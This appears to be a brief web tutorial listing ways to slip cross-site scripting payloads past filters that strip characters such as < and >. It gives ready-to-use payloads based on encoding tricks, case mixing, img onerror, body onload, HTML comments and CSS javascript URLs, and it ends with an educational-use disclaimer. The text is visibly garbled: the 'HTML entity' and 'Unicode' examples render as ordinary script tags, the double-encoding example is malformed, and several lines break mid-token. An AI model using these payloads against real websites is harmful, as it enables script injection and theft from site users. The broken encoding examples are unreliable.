TL;DR
If a website’s XSS filter simply replaces characters like <, >, and ", you can often bypass it by using different encoding methods (HTML entities, URL encoding, Unicode) or case mixing. This guide shows common techniques.
Bypassing Character-Based XSS Filters
- Understand the Filter: First, try a simple XSS payload to see what characters are blocked. For example:
<script>alert(1)</script>Note which characters get replaced or removed.
- HTML Entities: If the filter replaces
<and>, try using their HTML entity equivalents:<script>alert(1)</script> - Double Encoding: Sometimes filters only decode once. Try encoding the entities again:
<<script>>alert(1)<</script>> - URL Encoding: If the input is URL encoded, try encoding characters that are being filtered. For example, if
<is blocked:%3Cscript%3Ealert(1)%3C/script%3E - Unicode Encoding: Use Unicode character representations. For example, for
<(less than):<script>alert(1)</script> - Case Mixing: Some filters are case-sensitive. Try mixing upper and lower case letters:
<ScRiPt>alert(1)</sCrIpT> - Alternative Tags/Attributes: If
scriptis blocked, try other tags that can execute JavaScript (e.g.,imgwithonerror):<img src=x onerror=alert(1)> - Event Handlers: Use event handlers in HTML elements:
<body onload=alert(1)> - Comments: Try using HTML comments to break up the payload:
<!-- <script>--><script>alert(1)</script> - Context Awareness: Consider where your input is being placed in the HTML. If it’s inside an attribute, you might need to use different techniques than if it’s directly in the body.
- If within a
styleattribute, try CSS injection:style="width:100%; filter:url(javascript:alert(1))"
- If within a
- Browser Differences: Different browsers may interpret XSS payloads differently. Test your bypasses in multiple browsers (Chrome, Firefox, Safari, Edge).
Important Note: Exploiting XSS vulnerabilities without permission is illegal and unethical. This information is for educational purposes only.

